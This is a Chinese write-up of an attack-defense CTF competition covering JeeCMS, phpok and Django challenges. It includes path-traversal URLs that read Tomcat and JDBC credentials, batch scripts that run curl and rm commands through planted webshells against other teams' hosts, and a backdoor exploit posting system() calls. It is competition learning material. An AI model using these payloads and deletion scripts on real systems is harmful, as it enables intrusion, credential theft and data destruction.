这算是我参加的第二次正式的AWD比赛了,第一年大一来的时候懵懵懂懂,干坐了一天,等在别人后面捡flag交。这次取得了AWD的第六名,虽然有点失误,但是基本满意了。

基础的awd基本是php吧。这次赛前实验室在集训的时候也是着重训练的php方面,开发的工具也是针对php。不得不说,在正式比赛的时候出了很多状况。

0
[源码链接](链接: https://pan.baidu.com/s/1NSjwnmsSq5xIaJ3H3-vz7Q)
提取码: rnte

第一题是JSP

模板是jeecms

因为对JSP的网站不熟悉,甚至没有立即找到源码,吃了大亏,没有在前期交flag。这次提交flag必须要做计算题验证,所以自动提交脚本也失效了。

切记!拿到网站先分工①尝试弱密钥后台,把后台密码修改掉,然后找上传点等其他漏洞,批量上传不死马②down源码,上监控③down下来的拿D盾扫描,然后改漏洞④改洞的同时其他人进行漏洞利用

参考

2.x后台:
login/Jeecms.do
3.x后台:
jeeadmin/jeecms/index.do

默认账户:admin
默认密码:password

这次比赛实际情况中中账户是admin,密码也是admin

获取tomcat密码:
/jeeadmin/jeecms/template/v_edit.do?root=../../conf/&name=../../conf/tomcat-users.xml

获取JDBC数据库账号密码:
/jeeadmin/jeecms/template/v_edit.do?root=%2FWEB-INF%2Fconfig%2F&name=%2FWEB-INF%2Fconfig%2Fjdbc.properties

ssh连接上找到个源码压缩包,down下来D盾扫描

1

四个木马,两个多功能大马

2

3

写出批量获取脚本我们的排名在第一页,不过有点落后,因为前期一直没有提交flag

#!/usr/bin/env python
# coding=UTF-8
'''
@Author: ntestoc3
@Date: 2019-07-21 06:42:21
@LastEditTime: 2019-07-21 06:59:41
@Description: common utils
'''
import re
import logging
import requests
import hashlib

flag_commit_url = 'http://'

# 代理设置
proxy = 'http://127.0.0.1:8080'
use_proxy = False

MY_PROXY = None
if use_proxy:
    MY_PROXY = {
        # 本地代理,用于测试,如果不需要代理可以注释掉
        'http': proxy,
        'https': proxy,
    }

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36",
    'Upgrade-Insecure-Requests': '1',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'en,ja;q=0.9,zh-HK;q=0.8',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',

}


my_cookie = {
}


def md5(data):
    md5 = hashlib.md5(data.encode('utf-8'))
    return md5.hexdigest()


def get_flag(url):
    r = requests.get(url,
                     headers=headers, verify=False, cookies=my_cookie, proxies=MY_PROXY)
    return r.text


def commit_flag(token, flag,  method='GET', json=False):
    data = {"token": token, "flag": flag}
    if method == 'GET':
        params = data
        data = None
    if json:
        json = data
        data = None
    r = requests.request(method, flag_commit_url,
                         headers=headers, verify=False, json=json, params=params, data=data, cookies=cookies, proxies=MY_PROXY)
    return r


ips = ['192.200.1.11:8080',
       '192.200.1.12:8080',
       '192.200.1.13:8080',
       '192.200.1.14:8080',
       '192.200.1.15:8080',
       '192.200.1.16:8080',
       '192.200.1.17:8080',
       '192.200.1.18:8080',
       '192.200.1.19:8080',
       '192.200.1.20:8080',
       '192.200.1.21:8080',
       '192.200.1.22:8080',
       '192.200.1.22:8080',
       '192.200.1.23:8080',
       '192.200.1.24:8080',
       '192.200.1.25:8080',
       '192.200.1.26:8080',
       '192.200.1.27:8080',
       '192.200.1.28:8080',
       '192.200.1.29:8080',
       '192.200.1.30:8080',
       '192.200.1.31:8080',
       '192.200.1.32:8080',
       '192.200.1.33:8080',
       '192.200.1.35:8080',
       '192.200.1.36:8080',
       '192.200.1.37:8080',
       '192.200.1.38:8080',
       '192.200.1.39:8080',
       '192.200.1.40:8080',
       '192.200.1.41:8080',
       '192.200.1.42:8080',
       '192.200.1.43:8080',
       '192.200.1.44:8080',
       '192.200.1.66:8080',
       '192.200.1.67:8080',
       '192.200.1.68:8080',
       '192.200.1.69:8080',
       '192.200.1.70:8080',
       '192.200.1.71:8080',
       '192.200.1.72:8080',
       '192.200.1.73:8080',
       '192.200.1.74:8080',
       '192.200.1.75:8080',
       '192.200.1.76:8080',
       '192.200.1.77:8080',
       '192.200.1.78:8080',
       '192.200.1.79:8080',
       '192.200.1.80:8080',
       '192.200.1.81:8080',
       '192.200.1.82:8080',
       '192.200.1.83:8080',
       '192.200.1.84:8080', ]


for ip in ips:
    try:
        flag = get_flag(
            'http://%s/jeecmsv9f//thirdparty/ueditor/index.jsp?cmd=curl http://192.200.0.70/remoteflag/' % ip)
        flag = re.search(r'<pre>\s\s(.+)?\s', flag)[1]
        print(ip, 'flag:', flag)
    except:
        logging.exception(ip)

直接读取flag的链接示例,前期基本都在用这个打,手工提交

http://192.200.1.82:8080/jeecmsv9f/thirdparty/ueditor/index.jsp?cmd=curl http://192.200.0.70/remoteflag/

最后十分钟改好了批量宕机的脚本,只打了两三轮。不得不说在,在自身防护好之后使用批量宕机脚本是非常有效的提分手段,把我们排名又提升了好几位。

import requests

for num in range(11,43):
	#修改要删除页面的权限
    #这个范围是打的ip是11-43的队伍
    url='http://192.200.1.'+str(num)+':8080/jeecmsv9f/thirdparty/ueditor/index.jsp?cmd=chmod 777 /home/ctf/apache-tomcat-7.0.79/webapps/jeecmsv9f/jeeadmin/jeecms/index.do'

    r = requests.get(url,timeout=5)
	#删除页面
    url='http://192.200.1.'+str(num)+':8080/jeecmsv9f/thirdparty/ueditor/index.jsp?cmd=rm%20/home/ctf/apache-tomcat-7.0.79/webapps/jeecmsv9f/jeeadmin/jeecms/index.do'

    r = requests.get(url,timeout=5)

    print('\n')

    url='http://192.200.1.'+str(num)+':8080/jeeadmin/jeecms/index.do'

    print('\n')

    print(r.text)

第二题是php

第二题开始之后又打了一轮宕机,第一题就关闭了,之后是上新题后就立刻关闭上一道题。

模板是phpok

ps.第一题ctf上错地址了,有一道题的备用地址是这个模板,应该被不少人看到而且猜到了。

前期改后台入了个坑,登陆管理员进去了说改密码要六位数,但是默认原始密码admin是五位数,验证过不去。后来发现找错后台了,我登陆的是前台账号...后台密码被人改了

上D盾

4

先要处理的肯定是ali.php、yijuhua.php、db.php

5

6

7

然后批量给各位机子上马。

后来发现主页被人删掉了...不过居然check正常hhh,没什么影响,抵消了不少火力

队伍里札师傅的批量获取flag脚本,都是自己种的马

#By ZacharyZcR
import requests
import sys
import json
import string
import time

def get_flag(i):
	global flag_content
	global http_count
	r = requests.get(get_flag_url_array[i])
	flag_content = r.text.replace('Administrator Confirmation.\r\n','')
	if (r.status_code == 200 and flag_content != ''):
		#print "Get flag succeed!"
		#print "Team",i+1,"flag:",flag_content
		return flag_content

def post_flag():
	global flag_count
	if (get_or_post == 'get'):
		get_data = {'token':token_content,'flag':flag}
		r = requests.get(flag_url_post,params=get_data)
		if (r.status_code == 200 and flag_content != ''):
			print "Post flag succeed!"
			print "The post data is:",r.url	
			flag_count += 1
		else:
			print "Post flag failed!"	
	if (post_model_choose == 'x-www-form-urlencoded'):
		xw_post_data = {'token':token_content,'flag':flag} 
		headers = {'Content-Type':'application/x-www-form-urlencoded'}
		r = requests.post(flag_url_post,data=xw_post_data)
		if (r.status_code == 200 and flag_content != ''):
			print "Post flag succeed!"
			print "The post data is:",xw_post_data
			flag_count += 1
		else:
			print "Post flag failed!"
	if (post_model_choose == 'json'):
		json_post_data = {'token':token_content,'flag':flag}
		headers = {'Content-Type':'application/json'}
		r = requests.post(flag_url_post, json=json_post_data)
		if (r.status_code == 200 and flag_content != ''):
			print "Post flag succeed!"
			print "The post data is:",json_post_data
			flag_count += 1
		else:
			print "Post flag failed!"

print "Welcome to the fully automated score getting machine."
print "If you have any questions, please contact ZacharyZcR."

print "*******************************************************"

print "Flag upload address reading..."
config_file=open('get_score_flag_upload_address.txt')
flag_url_post = config_file.readline()
flag_url_post = flag_url_post.strip('\r\n')
print "*",flag_url_post,"*"
config_file.close()
#time.sleep(2)
print "Flag upload address readed."

#r = requests.get(flag_url_post)
#if r.status_code == 200:
	#print "Flag upload page is working properly."
#else:
	#print "Flag upload page failed."
	
print "*******************************************************"

print "Team token reading..."
config_file=open('get_score_team_token.txt')
token_content = config_file.readline()
token_content = token_content.strip('\r\n')
print "*",token_content,"*"
config_file.close()
#time.sleep(2)
print "Team token readed."

print "*******************************************************"

print "HTTP method reading..."
config_file=open('get_score_HTTP_method.txt')
get_or_post = config_file.readline()
get_or_post = get_or_post.strip('\r\n')
config_file.close()
print "*",get_or_post,"*"
#time.sleep(2)
print "HTTP method readed"

print "*******************************************************"

if get_or_post == 'get':
	post_model_choose = '0'
if get_or_post == 'post':
	print "Post method reading..."
	config_file=open('get_score_post.txt')
	post_model_choose = config_file.readline()
	post_model_choose = post_model_choose.strip('\r\n')
	print "*",post_model_choose,"*"
	config_file.close()
	print "Post method readed."
	print "*******************************************************"
	
print "Team number reading..."
config_file=open('get_score_team_number.txt')
team_number = int(config_file.readline())
print "*",team_number,"*"
config_file.close()
#time.sleep(2)
print "Team number readed."

print "*******************************************************"

get_flag_url_array = []
get_flag_url_txt = []

config_file=open('get_score_get_flag.txt')
for line in config_file:
	line=line.strip('\r\n')
	get_flag_url_txt.append(line)
config_file.close()

for i in range(team_number):
	get_flag_url_array.append(get_flag_url_txt[i])
	print get_flag_url_array[i]
	r = requests.get(get_flag_url_array[i])
	if r.status_code == 200:
		print "Flag fetch page",i+1,"works well."
	else:
		print "Flag fetch page",i+1,"failed."
	print "*******************************************************"
	
print "Time select reading..."
config_file=open('get_score_time_select.txt')
time_select = float(config_file.readline())
print "*",time_select,"*"
config_file.close()
print "Time select readed."

print "*******************************************************"

turns = 0
while (1):
	flag_count = 0
	localtime = time.asctime(time.localtime(time.time()))
	print "*******************************************************"
	print localtime
	print "*******************************************************"
	for i in range(team_number):
		flag=get_flag(i)
		#config_file=open('flag.txt','wb')
		#config_file.write(flag,"/n")
		#config.close()
		print flag
		#print "team",i+1,"OK"
		#print #"*******************************************************"
	turns += 1
	print "In turn",turns,",",flag_count,"teams has been got flag"
	print team_number-flag_count,"teams failed"
	time.sleep(time_select*60)

db.php利用脚本,ip.txt需要在里面填写要攻击的ip

import requests
import re
import os
file = open("./ip.txt")
for line in file.readlines():
    line=line.strip('\n')
    url='http://'+line+'/plugins/youdaotrans/db.php'
    data={"An":"system('curl http://192.200.0.70/remoteflag/');"}
    r=requests.post(url,data)
    pattern = re.compile(r'^[0-9a-zA-Z_]{1,}$')
    result1 = pattern.findall(r.text)
    print(line)
    print(result1)

第二轮发挥的太差了,手忙脚乱的,前期被中了不死马,虽然没人打,但是删除花了点功夫,后面有点落后,基本排在第十名左右,现在看来失误真的很大,还是练习不够。

第三轮是django

一个自己写的blog

出乎意料的一题,没有弱口令。修改密码是通过一个自带的脚本。

manage.py

#!/usr/bin/env python
import os
import sys

if __name__ == "__main__":
    os.environ.setdefault("DJANGO_SETTINGS_MODULE", "django_blog.settings")
    try:
        from django.core.management import execute_from_command_line
    except ImportError:
        # The above import may fail for some other reason. Ensure that the
        # issue is really that Django is missing to avoid masking other
        # exceptions on Python 2.
        try:
            import django
        except ImportError:
            raise ImportError(
                "Couldn't import Django. Are you sure it's installed and "
                "available on your PYTHONPATH environment variable? Did you "
                "forget to activate a virtual environment?"
            )
        raise
    execute_from_command_line(sys.argv)

使用方法

python manage.py changepassword your_name(其中“your_name”为你要修改密码的用户名)

成功进入后台

8

发现一个上传点,可以上传yml,不过我们并不会利用
9

结束后听说是反序列化漏洞,比赛最后半小时有人用漏洞删除了场上一大半机子。
看来,要学的还很多。近年来反序列化漏洞愈发火热,必须恶补。

比赛最后平台特别卡,排名都刷不出来,后来听说主办方抓了几个搅屎棍,就不赘述了...

洗洗睡了,这次比赛还是有很多问题,不管是工具的利用还是分工上。不过总归是相当不错,总分第四,希望明年能有更好的成绩~Wallions276995

参考资料:Django任意代码执行0day漏洞分析